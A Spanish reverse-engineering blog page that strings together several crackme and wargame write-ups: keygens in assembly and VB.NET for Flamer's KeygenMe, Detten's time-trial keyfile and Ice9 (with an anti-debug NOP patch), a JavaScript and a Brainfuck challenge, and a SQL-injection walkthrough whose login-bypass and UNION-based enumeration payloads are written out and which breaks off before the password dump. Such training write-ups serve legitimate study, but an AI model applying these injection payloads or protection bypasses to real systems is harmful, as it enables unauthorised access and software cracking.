Solución para el KeygenMe ASM de Flamer

Intro

El crackme que analizamos hoy está hecho en ensamblador y si bien su dificultad es baja, la creación del keygen es un poco liosa. Al keygen que veremos más adelante, le he dado cierta aleatoriedad para que quede más elegante.

El crackme comprueba el serial en función de un identificador de 4 dígitos que el mismo crackme genera.

Análisis

Coje nuestro serial mediante la función GetDlgItemTextA.

004010D3  |.  68 FF000000   PUSH 0FF                                 ; /MaxCount = 255.
004010D8  |.  68 40324000   PUSH OFFSET 00403240                     ; |String
004010DD  |.  68 EC030000   PUSH 3EC                                 ; |ItemID = 1004.
004010E2  |.  FF75 08       PUSH DWORD PTR SS:[ARG.1]                ; |hDialog => [ARG.1]
004010E5  |.  E8 6E010000   CALL <JMP.&user32.GetDlgItemTextA>       ; \USER32.GetDlgItemTextA
004010EA  |.  68 40324000   PUSH OFFSET 00403240                     ; /String
004010EF  |.  E8 52010000   CALL <JMP.&kernel32.lstrlenA>            ; \KERNEL32.lstrlen
004010F4  |.  A3 47334000   MOV DWORD PTR DS:[403347],EAX
004010F9  |.  33DB          XOR EBX,EBX
004010FB  |.  33C0          XOR EAX,EAX
004010FD  |.  EB 54         JMP SHORT 00401153

Comprueba que nuestro serial esté formado por números (30h – 39h), letras de la A a la F (41h – 46h) y el guión (2Dh), es decir, el alfabeto hexadecimal más el guión. Si hay algún dígito indeseado nos tira fuera.

004010FF  |>  8A83 40324000 /MOV AL,BYTE PTR DS:[EBX+403240]
00401105  |.  3C 2D         |CMP AL,2D
00401107  |.  74 40         |JE SHORT 00401149
00401109  |.  3C 30         |CMP AL,30
0040110B  |.  74 3C         |JE SHORT 00401149
0040110D  |.  3C 31         |CMP AL,31
0040110F  |.  74 38         |JE SHORT 00401149
00401111  |.  3C 32         |CMP AL,32
00401113  |.  74 34         |JE SHORT 00401149
00401115  |.  3C 33         |CMP AL,33
00401117  |.  74 30         |JE SHORT 00401149
00401119  |.  3C 34         |CMP AL,34
0040111B  |.  74 2C         |JE SHORT 00401149
0040111D  |.  3C 35         |CMP AL,35
0040111F  |.  74 28         |JE SHORT 00401149
00401121  |.  3C 36         |CMP AL,36
00401123  |.  74 24         |JE SHORT 00401149
00401125  |.  3C 37         |CMP AL,37
00401127  |.  74 20         |JE SHORT 00401149
00401129  |.  3C 38         |CMP AL,38
0040112B  |.  74 1C         |JE SHORT 00401149
0040112D  |.  3C 39         |CMP AL,39
0040112F  |.  74 18         |JE SHORT 00401149
00401131  |.  3C 41         |CMP AL,41
00401133  |.  74 14         |JE SHORT 00401149
00401135  |.  3C 42         |CMP AL,42
00401137  |.  74 10         |JE SHORT 00401149
00401139  |.  3C 43         |CMP AL,43
0040113B  |.  74 0C         |JE SHORT 00401149
0040113D  |.  3C 44         |CMP AL,44
0040113F  |.  74 08         |JE SHORT 00401149
00401141  |.  3C 45         |CMP AL,45
00401143  |.  74 04         |JE SHORT 00401149
00401145  |.  3C 46         |CMP AL,46
00401147  |.  75 07         |JNE SHORT 00401150
00401149  |>  8305 4B334000 |ADD DWORD PTR DS:[40334B],1
00401150  |>  83C3 01       |ADD EBX,1
00401153  |>  3B1D 47334000 |CMP EBX,DWORD PTR DS:[403347]
00401159  |.^ 76 A4         \JBE SHORT 004010FF
0040115B  |. A1 47334000 MOV EAX,DWORD PTR DS:[403347]
00401160  |. 3905 4B334000 CMP DWORD PTR DS:[40334B],EAX     ; si no coincide el tamaño del serial con el
00401166  |. 0F85 94000000 JNE 00401200                      ; contador nos tira fuera

La comprobación del serial la realiza sumando el valor ascii del primer dígito al valor ascii del tercero y sucesivos y a continuación restando la suma anterior al ID. Cuando finalice la comprobación de todos los dígitos del serial, el restador tiene que ser cero, de lo contrario nos tira fuera. Si el ID es cero también nos tira fuera.

Ejemplo (base 10)para ID = 4011 y SERIAL: 1-23456

  • Valores del serial: 1(49) -(no se usa) 2(50) 3(51) 4(52) 5(53) 6(54)
  • 1º + 3º: 49 + 50 = 99
  • 4011 – 99 = 3912
  • 1º + 4º: 49 + 51 = 100
  • 3912 – 100 = 3812
  • 1º + 5º: 49 + 52 = 101
  • 3812 – 101 = 3711
  • 1º + 6º: 49 + 53 = 102
  • 3711 – 102 = 3609
  • 1º + 7º: 49 + 54 = 103
  • 3609 – 103 = 3506
  • ¿3506 = 0?
0040116C  |.  33C0          XOR EAX,EAX
0040116E  |.  BB 02000000   MOV EBX,2
00401173  |.  A0 40324000   MOV AL,BYTE PTR DS:[403240]
00401178  |.  A3 43334000   MOV DWORD PTR DS:[403343],EAX
0040117D  |.  EB 13         JMP SHORT 00401192
0040117F  |>  8A83 40324000 /MOV AL,BYTE PTR DS:[EBX+403240]         ; Coje el dígito correspondiente
00401185  |.  0305 43334000 |ADD EAX,DWORD PTR DS:[403343]           ; 1ºdig + dig
0040118B  |.  2905 4F334000 |SUB DWORD PTR DS:[40334F],EAX           ; ID - (1ºdig + dig)
00401191  |.  43            |INC EBX
00401192  |>  3B1D 47334000 |CMP EBX,DWORD PTR DS:[403347]
00401198  |.^ 72 E5         \JB SHORT 0040117F
0040119A  |.  833D 4F334000 CMP DWORD PTR DS:[40334F],0              ; CHECK RESTADOR SEA = 0
004011A1  |.  75 49         JNE SHORT 004011EC
004011A3  |.  833D 3F334000 CMP DWORD PTR DS:[40333F],0              ; CHECK ID <> 0
004011AA  |.  74 40         JE SHORT 004011EC
004011AC  |.  FF35 3F334000 PUSH DWORD PTR DS:[40333F]               ; /<%d> = 0
004011B2  |.  68 00304000   PUSH OFFSET 00403000                     ; |Format = "REGISTRADO CON ID:%d"
004011B7  |.  68 40324000   PUSH OFFSET 00403240                     ; |Buf
004011BC  |.  E8 A9000000   CALL <JMP.&user32.wsprintfA>             ; \USER32.wsprintfA

Como veis, el resultado de ir restando todos los dígitos de nuestro serial con la ID debe ser cero para que el serial sea correcto.

Keygen

Lo primero que se me ocurre para obtener una solución directa es buscar una combinación de dígito + dígito que sea múltiplo del ID. Para ello podemos usar la función módulo. La función módulo lo que hace es darnos el resto de la división de dos números, de modo que si el resto es cero los números son múltiplos. Para ello debemos cruzar todos los números y letras hasta encontrar los dígitos múltiplos del ID. Un serial de este primer tipo quedaría algo así como 1-FFFFFFFFFFFFFFFFFF ya que como el primer dígito es fijo el otro se repetirá tanta veces como sea necesario para hacer que el ID sea cero.

Con nuestro reducido alfabeto, cabe la posibilidad de que no encontremos una combinación válida, por lo que tendremos que pensar en un plan B. El plan B que se me ocurre a mi es intentar forzar el plan A restando caracteres aleatorios al ID y volviendo a comprobar si encontramos múltiplos del nuevo ID. Un serial de este tipo quedaría más elegante, por ejemplo 3-A6D53B628BBBBB.

Os dejo unos cuantos números de serie.

  • Tipo A
    • ID: 1111 SERIAL: 0-55555555555
    • ID: 2500 SERIAL: 0-4444444444444444444444444
    • ID: 4982 SERIAL: 1-99999999999999999999999999999999999999999999999
    • ID: 4992 SERIAL: 0-0000000000000000000000000000000000000000000000000000
  • Tipo B
    • ID: 1112 SERIAL: 9-19247C5555
    • ID: 2499 SERIAL: A-C5ADC2233333333333333
    • ID: 4981 SERIAL: 7-C6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    • ID: 4999 SERIAL: 4-A37BEEB8146A5CE6ECFB422B1BFF8474E852314F5A999
'Keygen for Flamer's asm keygenme
    Dim id As Integer
    Dim serial As String
    Dim tmp, tmp2, na, nb As Integer
    Dim alfabeto As Integer() = New Integer() {48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70}
    Dim r As Random = New Random
    'Button generate
    Private Sub btngen_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btngen.Click
ini:
        If txtid.TextLength <> 4 Then GoTo Mal
        id = txtid.Text
        txtdebug.Text = ""
        na = alfabeto(r.Next(1, 16))
        serial = Chr(na) & "-"
        tmp = id
        For i = 0 To alfabeto.Length - 1
            For y = 0 To alfabeto.Length - 1
                'Solución directa
                If id Mod (alfabeto(i) + alfabeto(y)) = 0 Then
                    tmp = id / (alfabeto(i) + alfabeto(y))
                    txtserial.Text = Chr(alfabeto(i)) & "-"
                    For z = 0 To tmp - 1
                        txtserial.Text &= Chr(alfabeto(y))
                    Next
                    GoTo fuera
                End If
                'Indirecta con aleatoriedad
                nb = alfabeto(r.Next(1, 16))
                tmp = tmp - (na + nb)
                serial &= Chr(nb)
                If tmp Mod (na + nb) = 0 Then
                    tmp2 = tmp / (na + nb)
                    For z = 0 To tmp2 - 1
                        serial &= Chr(nb)
                    Next
                    txtserial.Text = serial
                    GoTo fuera
                End If
                If tmp < 0 Then
                    GoTo ini
                Else
                    txtdebug.Text &= tmp & " "
                End If
            Next
        Next
Mal:
        txtserial.Text = "¿id?"
fuera:

    End Sub

Me doy cuenta que en el keygen no he utilizado el guión, pero no pasa nada, se lo dejo al lector como curiosidad.

Links


Introducción Funcionamiento de RSA OllyDbg Calculando la clave privada (d) Ejemplo operacional Keygen Links Introducción Segunda crackme con RSA que
Aviso: Este crackme forma parte de una serie de pruebas de Yoire.com que todavía está en activo. Lo ético si
Karpoff.es Hace unos días intenté contactar con Karpoff ya que fué una inspiración para mi y muchos otros, lo conseguí
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en

ThisIsLegal.com – User Challenge 1 (Javascript)

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este es el típico reto de Javascript, no tiene mucha complicación pero he decidido dedicarle una entrada por que me llamó la atención lo que utiliza de usuario y clave.

El Script

function getStyle(el,styleProp)
{
    var x = document.getElementById(el);
    if (x.currentStyle)
        var y = x.currentStyle[styleProp];
    else if (window.getComputedStyle)
        var y = document.defaultView.getComputedStyle(x,null).getPropertyValue(styleProp);

if (y.substr(0, 1) == "#"){ return y; } else {
    
var value = y.split(',');

var R = value[0].substr(4);
var G = value[1];
var B = value[2].substr(0, value[2].length-1);

var RGB =  "#" + toHex(R)+ toHex(G)+toHex(B);

return RGB;

 }
}

function toHex(N) {
 if (N==null) return "00";
 N=parseInt(N); if (N==0 || isNaN(N)) return "00";
 N=Math.max(0,N); N=Math.min(N,255); N=Math.round(N);
 return "0123456789ABCDEF".charAt((N-N%16)/16)
      + "0123456789ABCDEF".charAt(N%16);
}

function pw (form)
{

   var d1, d2, d3;

if (navigator.appName == "Netscape"){
   d1= getStyle('content', 'background-color');
} else {
   d1= getStyle('content', 'backgroundColor');
}

     d2=form.Name.value;
     d3=form.Password.value;

  if (d2==d1.length) {
    if (d3==d1) {
      window.open ("../" + d1.substr(1, 10), "_self")
    } else {
      alert("Muhaha! Wrong!")
    }
  } else {
    alert("Muhaha! Wrong!")
  }
}

El Formulario

<div class="chal_box" style="padding:10px;">
<form name="form" action="" method="post">
        Username<br />
        <input id="inputd2" type="text" name="Name" value="" size="30" maxlength="30"><br />
        Password<br />
        <input id="inputd1" type="text" name="Password" value="" size="30" maxlength="30"><br /><br />

         <input type="button" name="Only a button" value="Enter Site" id="Only a button" class="btn" onclick="pw(this.form)">
</form>
</div>

Interpretando el Script

En el formulario vemos que llama a la función «pw» y ésta a su vez llama a la función «getStyle«, bueno, pués es tan simple como poner un «alert();» dentro de la función «pw» para cazar la clave. Con éste método podemos cazar la clave del 90% de este tipo de pruebas.

29-08-2014 01-21-17alert

Con esto ya tenemos la clave. El usuario responde a la siguiente sentencia «d2==d1.length«, es decir, es el número de dígitos de la clave.

¿Fácil no?

Links

Solución al Time Trial de Detten

Intro

Hoy tenemos aquí otro crackme sacado del baúl de los recuerdos. En este caso se trata de una protección por tiempo límite a través de un keyfile llamado «data.det«. Disponemos de tres días o nueve sesiones antes de que el crackme expire.

El algoritmo

La primera vez que ejecutamos el crackme, crea el fichero «data.det» y realiza lo siguiente:

  • Lee el fichero data.det que inicialmente tiene 10 bytes a cero y el último byte un 60(`).
  • Comprueba que tenga 11 bytes (B) y continúa.
  • Al detectar el fichero vacío le mete valores codificandolos con XOR 6969. Los almacena en memoria 4030AB y siguientes.
00401000 t>/$  6A 00               PUSH 0                                    ; /pModule = NULL
00401002   |.  E8 0B020000         CALL <JMP.&KERNEL32.GetModuleHandleA>     ; \GetModuleHandleA
00401007   |.  A3 F4304000         MOV DWORD PTR DS:[4030F4],EAX             ;  kernel32.BaseThreadInitThunk
0040100C   |.  6A 00               PUSH 0                                    ; /hTemplateFile = NULL
0040100E   |.  68 80000000         PUSH 80                                   ; |Attributes = NORMAL
00401013   |.  6A 03               PUSH 3                                    ; |Mode = OPEN_EXISTING
00401015   |.  6A 00               PUSH 0                                    ; |pSecurity = NULL
00401017   |.  6A 00               PUSH 0                                    ; |ShareMode = 0
00401019   |.  68 000000C0         PUSH C0000000                             ; |Access = GENERIC_READ|GENERIC_WRITE
0040101E   |.  68 A2304000         PUSH timetria.004030A2                    ; |FileName = "DATA.DET"
00401023   |.  E8 DE010000         CALL <JMP.&KERNEL32.CreateFileA>          ; \CreateFileA
00401028   |.  83F8 FF             CMP EAX,-1
0040102B   |.  74 07               JE SHORT timetria.00401034
0040102D   |.  A3 14314000         MOV DWORD PTR DS:[403114],EAX             ;  kernel32.BaseThreadInitThunk
00401032   |.  EB 18               JMP SHORT timetria.0040104C
00401034   |>  6A 30               PUSH 30                                   ; /Style = MB_OK|MB_ICONEXCLAMATION|MB_APPLMODAL
00401036   |.  68 38304000         PUSH timetria.00403038                    ; |Title = "I don't like this !"
0040103B   |.  68 02304000         PUSH timetria.00403002                    ; |Text = "Where is my DATA.DET file?\r\nI can't run without it..."
00401040   |.  6A 00               PUSH 0                                    ; |hOwner = NULL
00401042   |.  E8 B3010000         CALL <JMP.&USER32.MessageBoxA>            ; \MessageBoxA
00401047   |.  E9 22010000         JMP timetria.0040116E
0040104C   |>  6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040104E   |.  68 E0304000         PUSH timetria.004030E0                    ; |pBytesRead = timetria.004030E0
00401053   |.  6A 32               PUSH 32                                   ; |BytesToRead = 32 (50.)
00401055   |.  68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040105A   |.  FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = NULL
00401060   |.  E8 B9010000         CALL <JMP.&KERNEL32.ReadFile>             ; \ReadFile
00401065   |.  833D E0304000 0B    CMP DWORD PTR DS:[4030E0],0B
0040106C   |.  0F85 E9000000       JNZ timetria.0040115B
00401072   |.  BB AB304000         MOV EBX,timetria.004030AB
00401077   |.  68 E4304000         PUSH timetria.004030E4                    ; /pSystemTime = timetria.004030E4
0040107C   |.  E8 97010000         CALL <JMP.&KERNEL32.GetSystemTime>        ; \GetSystemTime
00401081   |.  803B 00             CMP BYTE PTR DS:[EBX],0
00401084   |.  75 22               JNZ SHORT timetria.004010A8               ;  Si existe el fichero salta a las comprobaciones
00401086   |.  51                  PUSH ECX
00401087   |.  33C9                XOR ECX,ECX
00401089   |.  EB 15               JMP SHORT timetria.004010A0
0040108B   |>  66:8B81 E4304000    /MOV AX,WORD PTR DS:[ECX+4030E4]          ;  |
00401092   |.  66:35 6969          |XOR AX,6969                              ;  |
00401096   |.  66:8981 AB304000    |MOV WORD PTR DS:[ECX+4030AB],AX          ;  |
0040109D   |.  83C1 02             |ADD ECX,2                                ;  | Bucle de codificacion de data.det por primera vez
004010A0   |>  83F9 08              CMP ECX,8                                ;  |
004010A3   |.^ 76 E6               \JBE SHORT timetria.0040108B              ;  |
004010A5   |.  59                  POP ECX                                   ;  kernel32.7580EE1C
004010A6   |.  EB 3A               JMP SHORT timetria.004010E2

 

Vigilando el proceso de creación del archivo podemos llegar a la conclusión de como se genera.

  • Los dos primeros bytes son el año = 2014 = 0x7DE. 7DE XOR 6969 = 6EB7.
  • Los dos siguientes son el mes = 10 = 0xA. A XOR 6969 = 6963.
  • Los dos siguientes usa un 4 (día de la semana???) = 0x4. 4 XOR 6969 = 696D.
  • Los dos siguientes son el día del mes = 2 = 0x2. 2 XOR 6969 = 696B
  • Los dos siguientes usa un 1 = 0x1. 1 XOR 6969 = 6968.
  • El número de sesiones lo deja como está, 60.

Estado de la memoria:

004030AB  B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`
  •  Finalmente le resta 1 al número de sesiones y guarda el fichero.
004010E2   |> \A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]
004010E7   |.  34 69               XOR AL,69
004010E9   |.  3C 00               CMP AL,0
004010EB   |. /74 59               JE SHORT timetria.00401146
004010ED   |. |FEC8                DEC AL
004010EF   |. |A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |. |34 69               XOR AL,69
004010F6   |. |A2 B5304000         MOV BYTE PTR DS:[4030B5],AL
004010FB   |. |6A 00               PUSH 0                                    ; /Origin = FILE_BEGIN
004010FD   |. |6A 00               PUSH 0                                    ; |pOffsetHi = NULL
004010FF   |. |6A 00               PUSH 0                                    ; |OffsetLo = 0
00401101   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401107   |. |E8 18010000         CALL <JMP.&KERNEL32.SetFilePointer>       ; \SetFilePointer
0040110C   |. |6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040110E   |. |68 E0304000         PUSH timetria.004030E0                    ; |pBytesWritten = timetria.004030E0
00401113   |. |6A 0B               PUSH 0B                                   ; |nBytesToWrite = B (11.)
00401115   |. |68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040111A   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401120   |. |E8 05010000         CALL <JMP.&KERNEL32.WriteFile>            ; \WriteFile

En cada ejecución realiza tres comprobaciones.
Recordemos el contenido del fichero:

B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`

1) Mes y año (4 primeros bytes)

004010A8   |> \8B0D AB304000       MOV ECX,DWORD PTR DS:[4030AB] ; ECX=69636EB7
004010AE   |.  81F1 69696969       XOR ECX,69696969              ; 69636EB7 xor 69696969 = A07DE (A = mes y 7DE = año)
004010B4   |.  A1 E4304000         MOV EAX,DWORD PTR DS:[4030E4]
004010B9   |.  3BC1                CMP EAX,ECX                   ; Compara con mes y año actuales
004010BB   |.  0F85 85000000       JNZ timetria.00401146         ; Bad boy

2) Día (7º y 8º byte)

004010C1   |.  66:8B0D B1304000    MOV CX,WORD PTR DS:[4030B1]   ; CX = 696B
004010C8   |.  66:81F1 6969        XOR CX,6969                   ; 696B xor 6969 = 2
004010CD   |.  66:A1 EA304000      MOV AX,WORD PTR DS:[4030EA]   ; AX = día actual obtenido con GetSystemTime
004010D3   |.  66:2BC1             SUB AX,CX                     ; Los resta
004010D6   |.  66:83F8 03          CMP AX,3                      ; Compara con 3
004010DA   |.  77 6A               JA SHORT timetria.00401146    ; Si el resultado >=3 Bad Boy

3) Sesiones (11º byte)

004010DC   |.  2805 00304000       SUB BYTE PTR DS:[403000],AL   ;
004010E2   |>  A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]   ; AL = numero de sesiones actual
004010E7   |.  34 69               XOR AL,69                     ; 61 Xor 69 = 8
004010E9   |.  3C 00               CMP AL,0                      ; Compara con 0
004010EB   |.  74 59               JE SHORT timetria.00401146    ; Salta si hemos superado las 9 sesiones. Bad boy
004010ED   |.  FEC8                DEC AL                        ; Si no le resta 1
004010EF   |.  A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |.  34 69               XOR AL,69                     ; y le hace xor 69 para codificar el nuevo valor de sesión
004010F6   |.  A2 B5304000         MOV BYTE PTR DS:[4030B5],AL

Con esto ya podemos alterar el archivo a nuestro antojo sin necesidad de parchear.

Keygen

Try
            ano = ano Xor 26985
            mes = mes Xor 26985
            dia = dia Xor 26985
            anos = Hex(ano).ToString
            mess = Hex(mes).ToString
            dias = Hex(dia).ToString
            If txtsesiones.Text <= 255 Then
                sesioness = Hex(sesiones)
            Else
                sesiones = 255
            End If
            sesioness = Hex(sesiones)
            'key = 00 00 00 00 00 00 00 00 00 00 00
            'key = año+año+mes+mes+X+X+dia+dia+X+sesiones
            key = Chr(Convert.ToInt32(anos.Substring(2, 2), 16)) & Chr(Convert.ToInt32(anos.Substring(0, 2), 16)) _
            & Chr(Convert.ToInt32(mess.Substring(2, 2), 16)) & Chr(Convert.ToInt32(mess.Substring(0, 2), 16)) _
            & Chr(106) & Chr(105) _
            & Chr(Convert.ToInt32(dias.Substring(2, 2), 16)) & Chr(Convert.ToInt32(dias.Substring(0, 2), 16)) _
            & Chr(103) & Chr(105) _
            & Chr(Convert.ToInt32(sesioness.Substring(0, 2), 16))
            'Creo el archivo llave
            Dim ruta As String = Application.StartupPath & "\DATA.DET"
            If File.Exists(ruta) Then
                File.Delete(ruta)
            End If
            Using sw As StreamWriter = New StreamWriter(ruta, True, System.Text.Encoding.Default)
                sw.Write(key)
                sw.Close()
            End Using
            MsgBox("DATA.DET generado correctamente", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Info")
        Catch ex As Exception
            MsgBox("Ocurrió algún error" & vbCrLf & ex.Message)
        End Try

 Links


Los retos criptográficos son muy variados y muchas veces la dificultad está en saber a que te enfrentas. En este
Introducción  Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en

Canyouhack.it – Cryptography Challenge 13

Los retos criptográficos son muy variados y muchas veces la dificultad está en saber a que te enfrentas. En este caso pasa eso, te dan un código y si no has visto algo parecido en la vida, no sabes por donde empezar. El título del autor da una pequeña pista pero para los desconocedores no es suficiente. La pista es el título y dice «WTF?!?» y el código a descifrar es el siguiente:

[-]>[-]<
>+++++++++++[<+++++++++++>-]<.
>+++[<--->-]<-.
>++[<++>-]<++.
+.
>++++[<---->-]<-.
---.
+++.
.
>+++[<+++>-]<.
>+++[<--->-]<+.
>++++[<++++>-]<-.
>++++[<---->-]<--.
>+++[<+++>-]<-.
>++[<-->-]<--.
-.

Si eres una persona con recursos, realizaras varias búsquedas por la red y al final llegarás a la conclusión de que te enfrentas a BRAINFUCK, un lenguaje de programación esotérico como ya vimos en el reto de Root-Me.

Enlaces

TripleTordo’s Ice9 Keygen

Introducción

 Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.

Saltar el antidebug

Arrancamos el crackme en Olly damos al play y se cierra. Buscamos en las «Intermodular Calls» y vemos «IsDebuggerPresent«, clickamos sobre ella y vemos el típico call, lo NOPeamos.

names

Aquí vemos el call.

isdebuggerpresent

Call Nopeado.

antidebug

Encontrando un serial válido

Encontrar en serial válido en esta ocasión es muy sencillo, basta con buscar en las «String References» el mensaje de «Bad boy» y fijarse en la comparación.

comparacion

 El algoritmo

Si nos fijamos en el serial generado nos da muchas pistas pero vamos a destriparlo ya que tampoco tiene mucha complicación. De nuevo miramos en las «String references» y clickamos sobre el mensaje de «bad boy«. Encima de los mensajes vemos claramente la rutina de creación del serial.

004010EB        |.  83F8 04             CMP EAX,4                      ;Longitud del nombre >4
004010EE        |.  72 05               JB SHORT Ice9.004010F5
004010F0        |.  83F8 0A             CMP EAX,0A                     ;Longitud del nombre <=10
004010F3        |.  76 15               JBE SHORT Ice9.0040110A
004010F5        |>  6A 00               PUSH 0                                ; /Style = MB_OK|MB_APPLMODAL
004010F7        |.  68 04304000         PUSH Ice9.00403004                    ; |Title = "Error, Bad Boy"
004010FC        |.  68 1C304000         PUSH Ice9.0040301C                    ; |Text = "name must be at least 4 chars"
00401101        |.  6A 00               PUSH 0                                ; |hOwner = NULL
00401103        |.  E8 70010000         CALL <JMP.&user32.MessageBoxA>        ; \MessageBoxA
........
00401183         .  3BD3                CMP EDX,EBX
00401185         .  74 15               JE SHORT Ice9.0040119C
00401187         .  8A07                MOV AL,BYTE PTR DS:[EDI]
00401189         .  3C 5A               CMP AL,5A                     ;Compara que el dígito < 5A
0040118B         .  7E 05               JLE SHORT Ice9.00401192
0040118D         >  03C8                ADD ECX,EAX                   ;ECX + Ascii(dígito)
0040118F         .  47                  INC EDI 
00401190         .^ EB EE               JMP SHORT Ice9.00401180
00401192         >  3C 41               CMP AL,41                     ;Compara que el dígito > 41
00401194         .  7D 02               JGE SHORT Ice9.00401198
00401196         .  EB 02               JMP SHORT Ice9.0040119A
00401198         >  04 2C               ADD AL,2C                     ;Si cumple lo anterior dígito +2C
0040119A         >^ EB F1               JMP SHORT Ice9.0040118D
0040119C         >  81C1 9A020000       ADD ECX,29A                   ;ECX + 29A
004011A2         .  69C9 39300000       IMUL ECX,ECX,3039             ;ECX * 3039
004011A8         .  83E9 17             SUB ECX,17                    ;ECX - 17
004011AB         .  6BC9 09             IMUL ECX,ECX,9                ;ECX * 9
004011AE         .  33DB                XOR EBX,EBX
004011B0         .  8BC1                MOV EAX,ECX                   ;Mueve nuestro SUM en EAX
004011B2         .  B9 0A000000         MOV ECX,0A                    ;ECX = A
004011B7         >  33D2                XOR EDX,EDX
004011B9         .  F7F1                DIV ECX                       ;SUM / ECX (Resultado a EAX)
004011BB         .  80C2 30             ADD DL,30
004011BE         .  881433              MOV BYTE PTR DS:[EBX+ESI],DL
004011C1         .  83C3 01             ADD EBX,1
004011C4         .  83F8 00             CMP EAX,0
004011C7         .  74 02               JE SHORT Ice9.004011CB
004011C9         .^ EB EC               JMP SHORT Ice9.004011B7
004011CB         >  BF C8304000         MOV EDI,Ice9.004030C8
004011D0         >  8A4433 FF           MOV AL,BYTE PTR DS:[EBX+ESI-1]
004011D4         .  8807                MOV BYTE PTR DS:[EDI],AL
004011D6         .  47                  INC EDI 
004011D7         .  4B                  DEC EBX
004011D8         .  83FB 00             CMP EBX,0
004011DB         .^ 75 F3               JNZ SHORT Ice9.004011D0
004011DD         .  C607 00             MOV BYTE PTR DS:[EDI],0               ;Coje letras del nombre en función
004011E0         .  8D3D B4304000       LEA EDI,DWORD PTR DS:[4030B4]         ;del resultado anterior
004011E6         .  68 B7304000         PUSH Ice9.004030B7                    ;  ASCII "rus"
004011EB         .  68 C8304000         PUSH Ice9.004030C8                    ;  ASCII "134992368rus"
004011F0         .  E8 BB000000         CALL Ice9.004012B0                    ; Concatena
004011F5         .  68 C8304000         PUSH Ice9.004030C8                    ; /String2 = "136325628rus"
004011FA         .  68 98314000         PUSH Ice9.00403198                    ; |String1 = "12345"
004011FF         .  E8 98000000         CALL <JMP.&kernel32.lstrcmpA>         ; \lstrcmpA

Resumen (valores hexadecimales):

  • Len(Nombre ) >=4 y <=A
  • Comprueba si el dígito está es mayúsculas y si está le sume 2C al valor ascii.
  • Suma el valor ascii de todos los dígitos menos el último.
  • SUM + 29A
  • SUM * 3039
  • SUM – 17
  • SUM * 9

Finalmente concatena letras siguiendo este criterio:

  • Len(nombre) = 4 -> coje la última letra
  • Len(nombre) = 5 -> coje las dos últimas
  • Len(nombre) = 6 -> coje las tres últimas
  • Len(nombre) = 7 -> coje las cuatro últimas
  • Len(nombre) = 8 -> coje las cinco últimas
  • Len(nombre) = 9 -> coje las seis últimas
  • Len(nombre) = A -> coje las siete últimas

Ejemplo para deurus

d  e  u  r  u  (s)
64+65+75+72+75 = 225
225 + 29A   = 4BF
4BF * 3039  = E4DE87
E4DE87 - 17 = E4DE70
E4DE70 * 9  = 80BD1F0
;Pasamos a decimal y concatenamos
134992368rus

Ejemplo para Deurus

D       e  u  r  u  (s)
44(+2C)+65+75+72+75 = 25D
25D + 29A   = 4F7
4BF * 3039  = EF6AFF
EF6AFF - 17 = EF6AE8
EF6AE8 * 9  = 86AC228
;Pasamos a decimal y concatenamos
141214248rus

Como curiosidad decirtos que con el tiempo valores del estilo 29A y 3039 os pegarán rápido al ojo ya que equivalen a 666 y 12345 en decimal. Por cierto 29A fue un grupo de hackers creadores de virus muy conocido en la escena Nacional e Internacional.

Links


Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Intro Hoy tenemos aquí otro crackme sacado del baúl de los recuerdos. En este caso se trata de una protección
En Parque Jurásico (1993), la informática no es solo un elemento narrativo, es una pieza clave del suspense y del
Toda esta aventura comienza con un archivo llamado pretty_raw, sin extensión. Porque sí. Porque las extensiones son una invención heredada

ThisIsLegal.com – SQL Challenge 2

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
